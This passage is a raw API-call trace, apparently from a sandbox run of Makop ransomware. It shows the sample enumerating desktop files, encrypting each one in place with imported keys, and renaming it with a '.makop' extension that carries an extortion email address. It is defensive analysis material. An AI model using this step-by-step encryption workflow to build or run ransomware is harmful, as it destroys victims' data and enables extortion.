[0055.374] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0055.375] GetProcessHeap () returned 0x48a0000 [0055.375] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.375] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\aW5RXGBri8-Y9 kVX.pptx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0055.375] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\aW5RXGBri8-Y9 kVX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\aw5rxgbri8-y9 kvx.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\aW5RXGBri8-Y9 kVX.pptx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\aw5rxgbri8-y9 kvx.pptx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.376] CloseHandle (hObject=0xc4) returned 1 [0055.377] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1eef4d0, ftCreationTime.dwHighDateTime=0x1d5d845, ftLastAccessTime.dwLowDateTime=0x925b7af0, ftLastAccessTime.dwHighDateTime=0x1d5dacc, ftLastWriteTime.dwLowDateTime=0x925b7af0, ftLastWriteTime.dwHighDateTime=0x1d5dacc, nFileSizeHigh=0x0, nFileSizeLow=0x12a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLI7LCcK7.avi", cAlternateFileName="NLI7LC~1.AVI")) returned 1 [0055.377] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\NLI7LCcK7.avi") returned 65 [0055.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\NLI7LCcK7.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\nli7lcck7.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0055.378] GetProcessHeap () returned 0x48a0000 [0055.378] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.378] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.378] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0055.378] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0xb, lpOverlapped=0x0) returned 1 [0055.380] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.380] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.380] GetProcessHeap () returned 0x48a0000 [0055.380] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.381] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40) returned 1 [0055.381] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.381] WriteFile (in: hFile=0xc4, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657ca28*=0x40, lpOverlapped=0x0) returned 1 [0055.381] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0055.381] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0055.381] WriteFile (in: hFile=0xc4, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0055.381] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0055.381] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0055.382] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.382] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.382] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.382] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12a15, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0x12a15, lpOverlapped=0x0) returned 1 [0055.383] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0x12a20, dwBufLen=0x12a20 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0x12a20) returned 1 [0055.384] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.384] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12a20, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0x12a20, lpOverlapped=0x0) returned 1 [0055.385] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.385] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x12af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.385] SetEndOfFile (hFile=0xc4) returned 1 [0055.393] GetProcessHeap () returned 0x48a0000 [0055.393] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.393] GetProcessHeap () returned 0x48a0000 [0055.393] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.393] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\NLI7LCcK7.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0055.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\NLI7LCcK7.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\nli7lcck7.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\NLI7LCcK7.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\nli7lcck7.avi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.395] CloseHandle (hObject=0xc4) returned 1 [0055.395] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d61a700, ftCreationTime.dwHighDateTime=0x1d5e4ad, ftLastAccessTime.dwLowDateTime=0xc6292bd0, ftLastAccessTime.dwHighDateTime=0x1d5da30, ftLastWriteTime.dwLowDateTime=0xc6292bd0, ftLastWriteTime.dwHighDateTime=0x1d5da30, nFileSizeHigh=0x0, nFileSizeLow=0xa44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpJJAfgcLZ.mp4", cAlternateFileName="SPJJAF~1.MP4")) returned 1 [0055.395] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\SpJJAfgcLZ.mp4") returned 66 [0055.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\SpJJAfgcLZ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\spjjafgclz.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0055.396] GetProcessHeap () returned 0x48a0000 [0055.396] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.396] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.396] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0055.396] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0x3, lpOverlapped=0x0) returned 1 [0055.398] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.398] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.398] GetProcessHeap () returned 0x48a0000 [0055.398] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.398] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40) returned 1 [0055.398] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.398] WriteFile (in: hFile=0xc4, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657ca28*=0x40, lpOverlapped=0x0) returned 1 [0055.399] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0055.399] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0055.399] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0055.399] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0055.399] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0055.399] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.400] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.400] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.400] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa44d, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0xa44d, lpOverlapped=0x0) returned 1 [0055.401] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0xa450, dwBufLen=0xa450 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0xa450) returned 1 [0055.401] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.401] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0xa450, lpOverlapped=0x0) returned 1 [0055.402] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.402] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.402] SetEndOfFile (hFile=0xc4) returned 1 [0055.460] GetProcessHeap () returned 0x48a0000 [0055.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.460] GetProcessHeap () returned 0x48a0000 [0055.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.460] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\SpJJAfgcLZ.mp4.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0055.460] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\SpJJAfgcLZ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\spjjafgclz.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\SpJJAfgcLZ.mp4.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\spjjafgclz.mp4.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.466] CloseHandle (hObject=0xc4) returned 1 [0055.466] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d61a700, ftCreationTime.dwHighDateTime=0x1d5e4ad, ftLastAccessTime.dwLowDateTime=0xc6292bd0, ftLastAccessTime.dwHighDateTime=0x1d5da30, ftLastWriteTime.dwLowDateTime=0xc6292bd0, ftLastWriteTime.dwHighDateTime=0x1d5da30, nFileSizeHigh=0x0, nFileSizeLow=0xa44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpJJAfgcLZ.mp4", cAlternateFileName="SPJJAF~1.MP4")) returned 0 [0055.466] FindClose (in: hFindFile=0x48c6fe8 | out: hFindFile=0x48c6fe8) returned 1 [0055.466] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14aeeb20, ftCreationTime.dwHighDateTime=0x1d5da34, ftLastAccessTime.dwLowDateTime=0x6e8250d0, ftLastAccessTime.dwHighDateTime=0x1d5ddde, ftLastWriteTime.dwLowDateTime=0x6e8250d0, ftLastWriteTime.dwHighDateTime=0x1d5ddde, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="F9lH0pBC-he.xls", cAlternateFileName="F9LH0P~1.XLS")) returned 1 [0055.466] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F9lH0pBC-he.xls") returned 53 [0055.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F9lH0pBC-he.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f9lh0pbc-he.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.467] GetProcessHeap () returned 0x48a0000 [0055.467] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.467] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.467] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.467] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x7, lpOverlapped=0x0) returned 1 [0055.470] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.470] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.470] GetProcessHeap () returned 0x48a0000 [0055.470] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.470] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.470] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.470] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.490] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.490] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.490] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.491] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.491] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.491] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.491] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.491] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.491] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbd79, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xbd79, lpOverlapped=0x0) returned 1 [0055.492] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xbd80, dwBufLen=0xbd80 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xbd80) returned 1 [0055.493] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.493] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xbd80, lpOverlapped=0x0) returned 1 [0055.493] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.493] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xbe54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.493] SetEndOfFile (hFile=0x120) returned 1 [0055.501] GetProcessHeap () returned 0x48a0000 [0055.501] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.501] GetProcessHeap () returned 0x48a0000 [0055.501] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.501] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F9lH0pBC-he.xls.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 100 [0055.501] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F9lH0pBC-he.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f9lh0pbc-he.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F9lH0pBC-he.xls.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f9lh0pbc-he.xls.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.507] CloseHandle (hObject=0x120) returned 1 [0055.507] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x556bcf40, ftCreationTime.dwHighDateTime=0x1d5e554, ftLastAccessTime.dwLowDateTime=0x7c14f0c0, ftLastAccessTime.dwHighDateTime=0x1d5db88, ftLastWriteTime.dwLowDateTime=0x7c14f0c0, ftLastWriteTime.dwHighDateTime=0x1d5db88, nFileSizeHigh=0x0, nFileSizeLow=0x9705, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwFa0nbrWh1.mp3", cAlternateFileName="FWFA0N~1.MP3")) returned 1 [0055.507] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fwFa0nbrWh1.mp3") returned 53 [0055.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fwFa0nbrWh1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fwfa0nbrwh1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.507] GetProcessHeap () returned 0x48a0000 [0055.507] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.507] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.507] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.508] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xb, lpOverlapped=0x0) returned 1 [0055.510] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.510] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.510] GetProcessHeap () returned 0x48a0000 [0055.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.510] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.510] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.510] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.510] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.511] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.511] WriteFile 